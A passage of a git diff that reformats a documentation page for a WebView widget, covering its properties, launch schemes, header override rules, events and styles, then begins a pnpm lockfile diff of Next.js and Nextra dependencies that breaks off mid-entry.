-| url | string | Defines the web address (URL) to be loaded within the WebView widget. | -| headers | object | Key-value pairs of HTTP headers to be sent with WebView requests. | -| headerOverrideRules | array | Rules for overriding headers based on URL patterns. See [Header Override Rules](#header-override-rules) for details. | -| cookies | array | Array of cookie objects for native applications. See [Cookies](#cookies) for details. | -| cookieHeader | string | Direct set-cookie header string for native applications. | -| styles | object | [See properties](#styles) | -| allowedLaunchSchemes | array of strings | Only available on iOS and Android native apps. Will not have any affect on the web. Optionally specify array of url schemes such as 'tel:', 'mailto:', 'geo:' that when tapped should launch the apps corresponding to the scheme in the system the app is running in.. See below for more details for this property. URL schemes such as http and https are included by default and cannot be overwritten. | - -**allowedLaunchSchemes** - -Array of strings. - -- tel: opens the phone dialer -- mailto: opens the email client -- geo: opens the map application -- sms: opens the messaging application - -When `allowedLaunchSchemes` is not present, by default the following schemes are permitted. -'tel:', -'sms:', -'mailto:', -'geo:' - -You can override the defaults by specifying the `allowedLaunchSchemes`. - -For example - if you are displaying messages inside your webview and want the users to be able to slack someone, you will specify the allowed url schemes as follows - - -```yaml -- WebView: - url: https://messages.mycompany.com - allowedLaunchSchemes: - - "tel:" - - "sms:" - - "mailto:" - - "slack:" - - #note that if you explicitly specify `allowedLaunchSchemes` you must specify the defaults as well if you want them to be allowed otherwise they will be overwritten -``` - -In order to add additional schemes to the default schemes, specify the default schemes and the additional schemes as an array value of allowedLaunchSchemes. URL schemes such as http and https are included by default and cannot be overwritten. - -## Header Override Rules - -The `headerOverrideRules` property allows you to specify different headers for different URLs based on patterns. This is useful when you need to apply different headers for different domains or API endpoints. Each rule consists of: - -| Property | Type | Description | -| :------------ | :------ | :----------------------------------------------------------------------------------- | -| urlPattern | string | The URL pattern to match against | -| matchType | string | Type of match: 'CONTAINS', 'EXACT', 'REGEX'. Defaults to 'CONTAINS' if not specified | -| headers | object | Headers to apply when pattern matches | -| mergeExisting | boolean | If true, merges with existing headers. If false, replaces them | - -Example: - -```yaml -headerOverrideRules: - - urlPattern: "api.example.com" - matchType: CONTAINS - headers: - SECRET: abc123 - mergeExisting: true -``` - -## Events - -| Event | Description | -| :------------------ | :----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- | -| onPageStart | Invoked when a page has started loading | -| onPageFinished | Invoked when a page has finished loading. | -| onProgress | Invoked when a page is loading to report the progress. | -| onNavigationRequest | Invoked when a decision for a navigation request is pending. When a navigation is initiated by the WebView (e.g when a user clicks a link) this delegate is called and has to decide how to proceed with the navigation. | -| onWebResourceError | Invoked when a resource loading error occurred. | - -## Methods - -The WebView widget provides the following methods: - -| Method | Description | -| :------------ | :---------------------------------- | -| clearCookie() | Clears all cookies from the WebView | - -### styles - -| Property | Type | Description | -| :--------------------------- | :---------------- | :-------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- | -| expanded | boolean | If the parent is a Row or Column, this flag will stretch this widget in the appropriate direction. (e.g stretch horizontally for parent of type Row) | -| width | integer | By default the width will match its parent's available width, but you can set an explicit width here. | -| height | integer | If no height is specified, the web view will stretch its height to fit its content, in which case a scrollable parent is required to scroll the content. You may override this behavior by explicitly set the web view's height here, or uses 'expanded' to fill the available height. | -| stackPositionTop | integer | The distance of the child's top edge from the top of the stack. This is applicable only for Stack's children. | -| stackPositionBottom | integer | The distance that the child's bottom edge from the bottom of the stack. This is applicable only for Stack's children. | -| stackPositionLeft | integer | The distance that the child's left edge from the left of the stack. This is applicable only for Stack's children. | -| stackPositionRight | integer | The distance that the child's right edge from the right of the stack. This is applicable only for Stack's children. | -| elevation | integer | The z-coordinate at which to place this material relative to its parent. A non-zero value will show a shadow, with its size relative to the elevation value. Minimum value: 0, Maximum value: 24 | -| elevationShadowColor | integer or string | The shadow color for the elevation, which can be represented in different formats. It can be specified as a number, a predefined color name, or a hexadecimal value starting with '0x'. `transparent` `black` `blue` `white` `red` `grey` `teal` `amber` `pink` `purple` `yellow` `green` `brown` `cyan` `indigo` `lime` `orange` | -| elevationBorderRadius | string or integer | The border radius of the widget.This can be specified using CSS-like notation with 1 to 4 integers. Minimum value: 0. | -| alignment | string | The alignment of the widget relative to its parent. `topLeft`, `topCenter`, `topRight`, `centerLeft`, `center`, `centerRight`, `bottomLeft`, `bottomCenter`, `bottomRight` | -| captureWebPointer | boolean | Applicable for Web only. When overlaying widgets on top of certain HTML container (e.g. Maps), the mouse click is captured by the HTML container, causing issue interacting with the widget. Use this to capture and maintain the mouse pointer on your widget. | -| visibilityTransitionDuration | number | Specify the duration in seconds when a widget animates between visible and not visible state. Note that setting this value will cause the widget to still occupy the UI space even when it is not visible. | -| visible | boolean | Toggle a widget visibility on/off. Note that an invisible widget will not occupy UI space, unless the visibilityTransitionDuration is specified. | +import { EnsemblePreview } from '../../components/ensemble-preview'; + +# WebView widget + +The WebView Widget enables seamless integration of web content within native apps and web apps, providing a versatile and consistent browsing experience across platforms. In addition to its core functionality, WebView also supports the use of cookies. [Learn more here!](/tips-and-tricks/cookies.md) + + + +## Properties + +| Property | Type | Description | +| :------------------- | :--------------- | :---------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- | +| url | string | Defines the web address (URL) to be loaded within the WebView widget. | +| headers | object | Key-value pairs of HTTP headers to be sent with WebView requests. | +| headerOverrideRules | array | Rules for overriding headers based on URL patterns. See [Header Override Rules](#header-override-rules) for details. | +| cookies | array | Array of cookie objects for native applications. See [Cookies](#cookies) for details. | +| cookieHeader | string | Direct set-cookie header string for native applications. | +| styles | object | [See properties](#styles) | +| allowedLaunchSchemes | array of strings | Only available on iOS and Android native apps. Will not have any affect on the web. Optionally specify array of url schemes such as 'tel:', 'mailto:', 'geo:' that when tapped should launch the apps corresponding to the scheme in the system the app is running in.. See below for more details for this property. URL schemes such as http and https are included by default and cannot be overwritten. | + +**allowedLaunchSchemes** + +Array of strings. + +- tel: opens the phone dialer +- mailto: opens the email client +- geo: opens the map application +- sms: opens the messaging application + +When `allowedLaunchSchemes` is not present, by default the following schemes are permitted. +'tel:', +'sms:', +'mailto:', +'geo:' + +You can override the defaults by specifying the `allowedLaunchSchemes`. + +For example - if you are displaying messages inside your webview and want the users to be able to slack someone, you will specify the allowed url schemes as follows - + +```yaml +- WebView: + url: https://messages.mycompany.com + allowedLaunchSchemes: + - "tel:" + - "sms:" + - "mailto:" + - "slack:" + + #note that if you explicitly specify `allowedLaunchSchemes` you must specify the defaults as well if you want them to be allowed otherwise they will be overwritten +``` + +In order to add additional schemes to the default schemes, specify the default schemes and the additional schemes as an array value of allowedLaunchSchemes. URL schemes such as http and https are included by default and cannot be overwritten. + +## Header Override Rules + +The `headerOverrideRules` property allows you to specify different headers for different URLs based on patterns. This is useful when you need to apply different headers for different domains or API endpoints. Each rule consists of: + +| Property | Type | Description | +| :------------ | :------ | :----------------------------------------------------------------------------------- | +| urlPattern | string | The URL pattern to match against | +| matchType | string | Type of match: 'CONTAINS', 'EXACT', 'REGEX'. Defaults to 'CONTAINS' if not specified | +| headers | object | Headers to apply when pattern matches | +| mergeExisting | boolean | If true, merges with existing headers. If false, replaces them | + +Example: + +```yaml +headerOverrideRules: + - urlPattern: "api.example.com" + matchType: CONTAINS + headers: + SECRET: abc123 + mergeExisting: true +``` + +## Events + +| Event | Description | +| :------------------ | :----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- | +| onPageStart | Invoked when a page has started loading | +| onPageFinished | Invoked when a page has finished loading. | +| onProgress | Invoked when a page is loading to report the progress. | +| onNavigationRequest | Invoked when a decision for a navigation request is pending. When a navigation is initiated by the WebView (e.g when a user clicks a link) this delegate is called and has to decide how to proceed with the navigation. | +| onWebResourceError | Invoked when a resource loading error occurred. | + +## Methods + +The WebView widget provides the following methods: + +| Method | Description | +| :------------ | :---------------------------------- | +| clearCookie() | Clears all cookies from the WebView | + +### styles + +| Property | Type | Description | +| :--------------------------- | :---------------- | :-------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- | +| expanded | boolean | If the parent is a Row or Column, this flag will stretch this widget in the appropriate direction. (e.g stretch horizontally for parent of type Row) | +| width | integer | By default the width will match its parent's available width, but you can set an explicit width here. | +| height | integer | If no height is specified, the web view will stretch its height to fit its content, in which case a scrollable parent is required to scroll the content. You may override this behavior by explicitly set the web view's height here, or uses 'expanded' to fill the available height. | +| stackPositionTop | integer | The distance of the child's top edge from the top of the stack. This is applicable only for Stack's children. | +| stackPositionBottom | integer | The distance that the child's bottom edge from the bottom of the stack. This is applicable only for Stack's children. | +| stackPositionLeft | integer | The distance that the child's left edge from the left of the stack. This is applicable only for Stack's children. | +| stackPositionRight | integer | The distance that the child's right edge from the right of the stack. This is applicable only for Stack's children. | +| elevation | integer | The z-coordinate at which to place this material relative to its parent. A non-zero value will show a shadow, with its size relative to the elevation value. Minimum value: 0, Maximum value: 24 | +| elevationShadowColor | integer or string | The shadow color for the elevation, which can be represented in different formats. It can be specified as a number, a predefined color name, or a hexadecimal value starting with '0x'. `transparent` `black` `blue` `white` `red` `grey` `teal` `amber` `pink` `purple` `yellow` `green` `brown` `cyan` `indigo` `lime` `orange` | +| elevationBorderRadius | string or integer | The border radius of the widget.This can be specified using CSS-like notation with 1 to 4 integers. Minimum value: 0. | +| alignment | string | The alignment of the widget relative to its parent. `topLeft`, `topCenter`, `topRight`, `centerLeft`, `center`, `centerRight`, `bottomLeft`, `bottomCenter`, `bottomRight` | +| captureWebPointer | boolean | Applicable for Web only. When overlaying widgets on top of certain HTML container (e.g. Maps), the mouse click is captured by the HTML container, causing issue interacting with the widget. Use this to capture and maintain the mouse pointer on your widget. | +| visibilityTransitionDuration | number | Specify the duration in seconds when a widget animates between visible and not visible state. Note that setting this value will cause the widget to still occupy the UI space even when it is not visible. | +| visible | boolean | Toggle a widget visibility on/off. Note that an invisible widget will not occupy UI space, unless the visibilityTransitionDuration is specified. | | opacity | double | Adjusts the opacity of the widget. Values range from 0 (fully transparent) to 1 (opaque). Default is `1`. | \ No newline at end of file diff --git a/pnpm-lock.yaml b/pnpm-lock.yaml index bdd91e2..a957404 100644 --- a/pnpm-lock.yaml +++ b/pnpm-lock.yaml @@ -1,2842 +1,2842 @@ -lockfileVersion: '6.0' - -settings: - autoInstallPeers: true - excludeLinksFromLockfile: false - -dependencies: - next: - specifier: ^13.5.6 - version: 13.5.6(react-dom@18.2.0)(react@18.2.0) - nextra: - specifier: latest - version: 2.13.4(next@13.5.6)(react-dom@18.2.0)(react@18.2.0) - nextra-theme-docs: - specifier: latest - version: 2.13.4(next@13.5.6)(nextra@2.13.4)(react-dom@18.2.0)(react@18.2.0) - react: - specifier: ^18.2.0 - version: 18.2.0 - react-dom: - specifier: ^18.2.0 - version: 18.2.0(react@18.2.0) - -devDependencies: - '@types/node': - specifier: 18.11.10 - version: 18.11.10 - typescript: - specifier: ^4.9.3 - version: 4.9.5 - -packages: - - /@babel/runtime@7.24.1: - resolution: {integrity: sha512-+BIznRzyqBf+2wCTxcKE3wDjfGeCoVE61KSHGpkzqrLi8qxqFwBeUFyId2cxkTmm55fzDGnm0+yCxaxygrLUnQ==} - engines: {node: '>=6.9.0'} - dependencies: - regenerator-runtime: 0.14.1 - dev: false - - /@braintree/sanitize-url@6.0.4: - resolution: {integrity: sha512-s3jaWicZd0pkP0jf5ysyHUI/RE7MHos6qlToFcGWXVp+ykHOy77OUMrfbgJ9it2C5bow7OIQwYYaHjk9XlBQ2A==} - dev: false - - /@headlessui/react@1.7.18(react-dom@18.2.0)(react@18.2.0): - resolution: {integrity: sha512-4i5DOrzwN4qSgNsL4Si61VMkUcWbcSKueUV7sFhpHzQcSShdlHENE5+QBntMSRvHt8NyoFO2AGG8si9lq+w4zQ==} - engines: {node: '>=10'} - peerDependencies: - react: ^16 || ^17 || ^18 - react-dom: ^16 || ^17 || ^18 - dependencies: - '@tanstack/react-virtual': 3.2.0(react-dom@18.2.0)(react@18.2.0) - client-only: 0.0.1 - react: 18.2.0 - react-dom: 18.2.0(react@18.2.0) - dev: false - - /@mdx-js/mdx@2.3.0: - resolution: {integrity: sha512-jLuwRlz8DQfQNiUCJR50Y09CGPq3fLtmtUQfVrj79E0JWu3dvsVcxVIcfhR5h0iXu+/z++zDrYeiJqifRynJkA==} - dependencies: - '@types/estree-jsx': 1.0.5 - '@types/mdx': 2.0.12 - estree-util-build-jsx: 2.2.2 - estree-util-is-identifier-name: 2.1.0 - estree-util-to-js: 1.2.0 - estree-walker: 3.0.3 - hast-util-to-estree: 2.3.3 - markdown-extensions: 1.1.1 - periscopic: 3.1.0 - remark-mdx: 2.3.0 - remark-parse: 10.0.2 - remark-rehype: 10.1.0 - unified: 10.1.2 - unist-util-position-from-estree: 1.1.2 - unist-util-stringify-position: 3.0.3 - unist-util-visit: 4.1.2 - vfile: 5.3.7 - transitivePeerDependencies: - - supports-color - dev: false - - /@mdx-js/react@2.3.0(react@18.2.0): - resolution: {integrity: sha512-zQH//gdOmuu7nt2oJR29vFhDv88oGPmVw6BggmrHeMI+xgEkp1B2dX9/bMBSYtK0dyLX/aOmesKS09g222K1/g==} - peerDependencies: - react: '>=16' - dependencies: - '@types/mdx': 2.0.12 - '@types/react': 18.2.67 - react: 18.2.0 - dev: false - - /@napi-rs/simple-git-android-arm-eabi@0.1.16: - resolution: {integrity: sha512-dbrCL0Pl5KZG7x7tXdtVsA5CO6At5ohDX3myf5xIYn9kN4jDFxsocl8bNt6Vb/hZQoJd8fI+k5VlJt+rFhbdVw==} - engines: {node: '>= 10'} - cpu: [arm] - os: [android] - requiresBuild: true - dev: false - optional: true - - /@napi-rs/simple-git-android-arm64@0.1.16: - resolution: {integrity: sha512-xYz+TW5J09iK8SuTAKK2D5MMIsBUXVSs8nYp7HcMi8q6FCRO7yJj96YfP9PvKsc/k64hOyqGmL5DhCzY9Cu1FQ==} - engines: {node: '>= 10'} - cpu: [arm64] - os: [android] - requiresBuild: true - dev: false - optional: true - - /@napi-rs/simple-git-darwin-arm64@0.1.16: - resolution: {integrity: sha512-XfgsYqxhUE022MJobeiX563TJqyQyX4FmYCnqrtJwAfivESVeAJiH6bQIum8dDEYMHXCsG7nL8Ok0Dp8k2m42g==} - engines: {node: '>= 10'} - cpu: [arm64] - os: [darwin] - requiresBuild: true - dev: false - optional: true - - /@napi-rs/simple-git-darwin-x64@0.1.16: - resolution: {integrity: sha512-tkEVBhD6vgRCbeWsaAQqM3bTfpIVGeitamPPRVSbsq8qgzJ5Dx6ZedH27R7KSsA/uao7mZ3dsrNLXbu1Wy5MzA==} - engines: {node: '>= 10'} - cpu: [x64] - os: [darwin] - requiresBuild: true - dev: false - optional: true - - /@napi-rs/simple-git-linux-arm-gnueabihf@0.1.16: - resolution: {integrity: sha512-R6VAyNnp/yRaT7DV1Ao3r67SqTWDa+fNq2LrNy0Z8gXk2wB9ZKlrxFtLPE1WSpWknWtyRDLpRlsorh7Evk7+7w==} - engines: {node: '>= 10'} - cpu: [arm] - os: [linux] - requiresBuild: true - dev: false - optional: true - - /@napi-rs/simple-git-linux-arm64-gnu@0.1.16: - resolution: {integrity: sha512-LAGI0opFKw/HBMCV2qIBK3uWSEW9h4xd2ireZKLJy8DBPymX6NrWIamuxYNyCuACnFdPRxR4LaRFy4J5ZwuMdw==} - engines: {node: '>= 10'} - cpu: [arm64] - os: [linux] - requiresBuild: true - dev: false - optional: true - - /@napi-rs/simple-git-linux-arm64-musl@0.1.16: - resolution: {integrity: sha512-I57Ph0F0Yn2KW93ep+V1EzKhACqX0x49vvSiapqIsdDA2PifdEWLc1LJarBolmK7NKoPqKmf6lAKKO9lhiZzkg==} - engines: {node: '>= 10'} - cpu: [arm64] - os: [linux] - requiresBuild: true - dev: false - optional: true - - /@napi-rs/simple-git-linux-x64-gnu@0.1.16: - resolution: {integrity: sha512-AZYYFY2V7hlcQASPEOWyOa3e1skzTct9QPzz0LiDM3f/hCFY/wBaU2M6NC5iG3d2Kr38heuyFS/+JqxLm5WaKA==} - engines: {node: '>= 10'} - cpu: [x64] - os: [linux] - requiresBuild: true - dev: false - optional: true - - /@napi-rs/simple-git-linux-x64-musl@0.1.16: - resolution: {integrity: sha512-9TyMcYSBJwjT8jwjY9m24BZbu7ozyWTjsmYBYNtK3B0Um1Ov6jthSNneLVvouQ6x+k3Ow+00TiFh6bvmT00r8g==} - engines: {node: '>= 10'} - cpu: [x64] - os: [linux] - requiresBuild: true - dev: false - optional: true - - /@napi-rs/simple-git-win32-arm64-msvc@0.1.16: - resolution: {integrity: sha512-uslJ1WuAHCYJWui6xjsyT47SjX6KOHDtClmNO8hqKz1pmDSNY7AjyUY8HxvD1lK9bDnWwc4JYhikS9cxCqHybw==} - engines: {node: '>= 10'} - cpu: [arm64] - os: [win32] - requiresBuild: true - dev: false - optional: true - - /@napi-rs/simple-git-win32-x64-msvc@0.1.16: - resolution: {integrity: sha512-SoEaVeCZCDF1MP+M9bMSXsZWgEjk4On9GWADO5JOulvzR1bKjk0s9PMHwe/YztR9F0sJzrCxwtvBZowhSJsQPg==} - engines: {node: '>= 10'} - cpu: [x64] - os: [win32] - requiresBuild: true - dev: false - optional: true - - /@napi-rs/simple-git@0.1.16: - resolution: {integrity: sha512-C5wRPw9waqL2jk3jEDeJv+f7ScuO3N0a39HVdyFLkwKxHH4Sya4ZbzZsu2JLi6eEqe7RuHipHL6mC7B2OfYZZw==} - engines: {node: '>= 10'} - optionalDependencies: - '@napi-rs/simple-git-android-arm-eabi': 0.1.16 - '@napi-rs/simple-git-android-arm64': 0.1.16 - '@napi-rs/simple-git-darwin-arm64': 0.1.16 - '@napi-rs/simple-git-darwin-x64': 0.1.16 - '@napi-rs/simple-git-linux-arm-gnueabihf': 0.1.16 - '@napi-rs/simple-git-linux-arm64-gnu': 0.1.16 - '@napi-rs/simple-git-linux-arm64-musl': 0.1.16 - '@napi-rs/simple-git-linux-x64-gnu': 0.1.16 - '@napi-rs/simple-git-linux-x64-musl': 0.1.16 - '@napi-rs/simple-git-win32-arm64-msvc': 0.1.16 - '@napi-rs/simple-git-win32-x64-msvc': 0.1.16 - dev: false - - /@next/env@13.5.6: - resolution: {integrity: sha512-Yac/bV5sBGkkEXmAX5FWPS9Mmo2rthrOPRQQNfycJPkjUAUclomCPH7QFVCDQ4Mp2k2K1SSM6m0zrxYrOwtFQw==} - dev: false - - /@next/swc-darwin-arm64@13.5.6: - resolution: {integrity: sha512-5nvXMzKtZfvcu4BhtV0KH1oGv4XEW+B+jOfmBdpFI3C7FrB/MfujRpWYSBBO64+qbW8pkZiSyQv9eiwnn5VIQA==} - engines: {node: '>= 10'} - cpu: [arm64] - os: [darwin] - requiresBuild: true - dev: false - optional: true - - /@next/swc-darwin-x64@13.5.6: - resolution: {integrity: sha512-6cgBfxg98oOCSr4BckWjLLgiVwlL3vlLj8hXg2b+nDgm4bC/qVXXLfpLB9FHdoDu4057hzywbxKvmYGmi7yUzA==} - engines: {node: '>= 10'} - cpu: [x64] - os: [darwin] - requiresBuild: true - dev: false - optional: true - - /@next/swc-linux-arm64-gnu@13.5.6: - resolution: {integrity: sha512-txagBbj1e1w47YQjcKgSU4rRVQ7uF29YpnlHV5xuVUsgCUf2FmyfJ3CPjZUvpIeXCJAoMCFAoGnbtX86BK7+sg==} - engines: {node: '>= 10'} - cpu: [arm64] - os: [linux] - requiresBuild: true - dev: false - optional: true - - /@next/swc-linux-arm64-musl@13.5.6: - resolution: {integrity: sha512-cGd+H8amifT86ZldVJtAKDxUqeFyLWW+v2NlBULnLAdWsiuuN8TuhVBt8ZNpCqcAuoruoSWynvMWixTFcroq+Q==} - engines: {node: '>= 10'} - cpu: [arm64] - os: [linux] - requiresBuild: true - dev: false - optional: true - - /@next/swc-linux-x64-gnu@13.5.6: - resolution: {integrity: sha512-Mc2b4xiIWKXIhBy2NBTwOxGD3nHLmq4keFk+d4/WL5fMsB8XdJRdtUlL87SqVCTSaf1BRuQQf1HvXZcy+rq3Nw==} - engines: {node: '>= 10'} - cpu: [x64] - os: [linux] - requiresBuild: true - dev: false - optional: true - - /@next/swc-linux-x64-musl@13.5.6: - resolution: {integrity: sha512-CFHvP9Qz98NruJiUnCe61O6GveKKHpJLloXbDSWRhqhkJdZD2zU5hG+gtVJR//tyW897izuHpM6Gtf6+sNgJPQ==} - engines: {node: '>= 10'} - cpu: [x64] - os: [linux] - requiresBuild: true - dev: false - optional: true - - /@next/swc-win32-arm64-msvc@13.5.6: - resolution: {integrity: sha512-aFv1ejfkbS7PUa1qVPwzDHjQWQtknzAZWGTKYIAaS4NMtBlk3VyA6AYn593pqNanlicewqyl2jUhQAaFV/qXsg==} - engines: {node: '>= 10'} - cpu: [arm64] - os: [win32] - requiresBuild: true - dev: false - optional: true - - /@next/swc-win32-ia32-msvc@13.5.6: - resolution: {integrity: sha512-XqqpHgEIlBHvzwG8sp/JXMFkLAfGLqkbVsyN+/Ih1mR8INb6YCc2x/Mbwi6hsAgUnqQztz8cvEbHJUbSl7RHDg==} - engines: {node: '>= 10'} - cpu: [ia32] - os: [win32] - requiresBuild: true - dev: false - optional: true - - /@next/swc-win32-x64-msvc@13.5.6: - resolution: {integrity: sha512-Cqfe1YmOS7k+5mGu92nl5ULkzpKuxJrP3+4AEuPmrpFZ3BHxTY3TnHmU1On3bFmFFs6FbTcdF58CCUProGpIGQ==} - engines: {node: '>= 10'} - cpu: [x64] - os: [win32] - requiresBuild: true - dev: false - optional: true - - /@popperjs/core@2.11.8: - resolution: {integrity: sha512-P1st0aksCrn9sGZhp8GMYwBnQsbvAWsZAX44oXNNvLHGqAOcoVxmjZiohstwQ7SqKnbR47akdNi+uleWD8+g6A==} - dev: false - - /@swc/helpers@0.5.2: - resolution: {integrity: sha512-E4KcWTpoLHqwPHLxidpOqQbcrZVgi0rsmmZXUle1jXmJfuIf/UWpczUJ7MZZ5tlxytgJXyp0w4PGkkeLiuIdZw==} - dependencies: - tslib: 2.6.2 - dev: false - - /@tanstack/react-virtual@3.2.0(react-dom@18.2.0)(react@18.2.0): - resolution: {integrity: sha512-OEdMByf2hEfDa6XDbGlZN8qO6bTjlNKqjM3im9JG+u3mCL8jALy0T/67oDI001raUUPh1Bdmfn4ZvPOV5knpcg==} - peerDependencies: - react: ^16.8.0 || ^17.0.0 || ^18.0.0 - react-dom: ^16.8.0 || ^17.0.0 || ^18.0.0 - dependencies: - '@tanstack/virtual-core': 3.2.0 - react: 18.2.0 - react-dom: 18.2.0(react@18.2.0) - dev: false - - /@tanstack/virtual-core@3.2.0: - resolution: {integrity: sha512-P5XgYoAw/vfW65byBbJQCw+cagdXDT/qH6wmABiLt4v4YBT2q2vqCOhihe+D1Nt325F/S/0Tkv6C5z0Lv+VBQQ==} - dev: false - - /@theguild/remark-mermaid@0.0.5(react@18.2.0): - resolution: {integrity: sha512-e+ZIyJkEv9jabI4m7q29wZtZv+2iwPGsXJ2d46Zi7e+QcFudiyuqhLhHG/3gX3ZEB+hxTch+fpItyMS8jwbIcw==} - peerDependencies: - react: ^18.2.0 - dependencies: - mermaid: 10.9.0 - react: 18.2.0 - unist-util-visit: 5.0.0 - transitivePeerDependencies: - - supports-color - dev: false - - /@theguild/remark-npm2yarn@0.2.1: - resolution: {integrity: sha512-jUTFWwDxtLEFtGZh/TW/w30ySaDJ8atKWH8dq2/IiQF61dPrGfETpl0WxD0VdBfuLOeU14/kop466oBSRO/5CA==} - dependencies: - npm-to-yarn: 2.2.1 - unist-util-visit: 5.0.0 - dev: false - - /@types/acorn@4.0.6: - resolution: {integrity: sha512-veQTnWP+1D/xbxVrPC3zHnCZRjSrKfhbMUlEA43iMZLu7EsnTtkJklIuwrCPbOi8YkvDQAiW05VQQFvvz9oieQ==} - dependencies: - '@types/estree': 1.0.5 - dev: false - - /@types/d3-scale-chromatic@3.0.3: - resolution: {integrity: sha512-laXM4+1o5ImZv3RpFAsTRn3TEkzqkytiOY0Dz0sq5cnd1dtNlk6sHLon4OvqaiJb28T0S/TdsBI3Sjsy+keJrw==} - dev: false - - /@types/d3-scale@4.0.8: - resolution: {integrity: sha512-gkK1VVTr5iNiYJ7vWDI+yUFFlszhNMtVeneJ6lUTKPjprsvLLI9/tgEGiXJOnlINJA8FyA88gfnQsHbybVZrYQ==} - dependencies: - '@types/d3-time': 3.0.3 - dev: false - - /@types/d3-time@3.0.3: - resolution: {integrity: sha512-2p6olUZ4w3s+07q3Tm2dbiMZy5pCDfYwtLXXHUnVzXgQlZ/OyPtUz6OL382BkOuGlLXqfT+wqv8Fw2v8/0geBw==} - dev: false - - /@types/debug@4.1.12: - resolution: {integrity: sha512-vIChWdVG3LG1SMxEvI/AK+FWJthlrqlTu7fbrlywTkkaONwk/UAGaULXRlf8vkzFBLVm0zkMdCquhL5aOjhXPQ==} - dependencies: - '@types/ms': 0.7.34 - dev: false - - /@types/estree-jsx@1.0.5: - resolution: {integrity: sha512-52CcUVNFyfb1A2ALocQw/Dd1BQFNmSdkuC3BkZ6iqhdMfQz7JWOFRuJFloOzjk+6WijU56m9oKXFAXc7o3Towg==} - dependencies: - '@types/estree': 1.0.5 - dev: false - - /@types/estree@1.0.5: - resolution: {integrity: sha512-/kYRxGDLWzHOB7q+wtSUQlFrtcdUccpfy+X+9iMBpHK8QLLhx2wIPYuS5DYtR9Wa/YlZAbIovy7qVdB1Aq6Lyw==} - dev: false - - /@types/hast@2.3.10: - resolution: {integrity: sha512-McWspRw8xx8J9HurkVBfYj0xKoE25tOFlHGdx4MJ5xORQrMGZNqJhVQWaIbm6Oyla5kYOXtDiopzKRJzEOkwJw==} - dependencies: - '@types/unist': 2.0.10 - dev: false - - /@types/hast@3.0.4: - resolution: {integrity: sha512-WPs+bbQw5aCj+x6laNGWLH3wviHtoCv/P3+otBhbOhJgG8qtpdAMlTCxLtsTWA7LH1Oh/bFCHsBn0TPS5m30EQ==} - dependencies: - '@types/unist': 3.0.2 - dev: false - - /@types/js-yaml@4.0.9: - resolution: {integrity: sha512-k4MGaQl5TGo/iipqb2UDG2UwjXziSWkh0uysQelTlJpX1qGlpUZYm8PnO4DxG1qBomtJUdYJ6qR6xdIah10JLg==} - dev: false - - /@types/katex@0.16.7: - resolution: {integrity: sha512-HMwFiRujE5PjrgwHQ25+bsLJgowjGjm5Z8FVSf0N6PwgJrwxH0QxzHYDcKsTfV3wva0vzrpqMTJS2jXPr5BMEQ==} - dev: false - - /@types/mdast@3.0.15: - resolution: {integrity: sha512-LnwD+mUEfxWMa1QpDraczIn6k0Ee3SMicuYSSzS6ZYl2gKS09EClnJYGd8Du6rfc5r/GZEk5o1mRb8TaTj03sQ==} - dependencies: - '@types/unist': 2.0.10 - dev: false - - /@types/mdast@4.0.3: - resolution: {integrity: sha512-LsjtqsyF+d2/yFOYaN22dHZI1Cpwkrj+g06G8+qtUKlhovPW89YhqSnfKtMbkgmEtYpH2gydRNULd6y8mciAFg==} - dependencies: - '@types/unist': 3.0.2 - dev: false - - /@types/mdx@2.0.12: - resolution: {integrity: sha512-H9VZ9YqE+H28FQVchC83RCs5xQ2J7mAAv6qdDEaWmXEVl3OpdH+xfrSUzQ1lp7U7oSTRZ0RvW08ASPJsYBi7Cw==} - dev: false - - /@types/ms@0.7.34: - resolution: {integrity: sha512-nG96G3Wp6acyAgJqGasjODb+acrI7KltPiRxzHPXnP3NgI28bpQDRv53olbqGXbfcgF5aiiHmO3xpwEpS5Ld9g==} - dev: false - - /@types/node@18.11.10: - resolution: {integrity: sha512-juG3RWMBOqcOuXC643OAdSA525V44cVgGV6dUDuiFtss+8Fk5x1hI93Rsld43VeJVIeqlP9I7Fn9/qaVqoEAuQ==} - dev: true - - /@types/prop-types@15.7.11: - resolution: {integrity: sha512-ga8y9v9uyeiLdpKddhxYQkxNDrfvuPrlFb0N1qnZZByvcElJaXthF1UhvCh9TLWJBEHeNtdnbysW7Y6Uq8CVng==} - dev: false - - /@types/react@18.2.67: - resolution: {integrity: sha512-vkIE2vTIMHQ/xL0rgmuoECBCkZFZeHr49HeWSc24AptMbNRo7pwSBvj73rlJJs9fGKj0koS+V7kQB1jHS0uCgw==} - dependencies: - '@types/prop-types': 15.7.11 - '@types/scheduler': 0.16.8 - csstype: 3.1.3 - dev: false - - /@types/scheduler@0.16.8: - resolution: {integrity: sha512-WZLiwShhwLRmeV6zH+GkbOFT6Z6VklCItrDioxUnv+u4Ll+8vKeFySoFyK/0ctcRpOmwAicELfmys1sDc/Rw+A==} - dev: false - - /@types/unist@2.0.10: - resolution: {integrity: sha512-IfYcSBWE3hLpBg8+X2SEa8LVkJdJEkT2Ese2aaLs3ptGdVtABxndrMaxuFlQ1qdFf9Q5rDvDpxI3WwgvKFAsQA==} - dev: false - - /@types/unist@3.0.2: - resolution: {integrity: sha512-dqId9J8K/vGi5Zr7oo212BGii5m3q5Hxlkwy3WpYuKPklmBEvsbMYYyLxAQpSffdLl/gdW0XUpKWFvYmyoWCoQ==} - dev: false - - /@ungap/structured-clone@1.2.0: - resolution: {integrity: sha512-zuVdFrMJiuCDQUMCzQaD6KL28MjnqqN8XnAqiEq9PNm/hCPTSGfrXCOfwj1ow4LFb/tNymJPwsNbVePc1xFqrQ==} - dev: false - - /acorn-jsx@5.3.2(acorn@8.11.3): - resolution: {integrity: sha512-rq9s+JNhf0IChjtDXxllJ7g41oZk5SlXtp0LHwyA5cejwn7vKmKp4pPri6YEePv2PU65sAsegbXtIinmDFDXgQ==} - peerDependencies: - acorn: ^6.0.0 || ^7.0.0 || ^8.0.0 - dependencies: - acorn: 8.11.3 - dev: false - - /acorn@8.11.3: - resolution: {integrity: 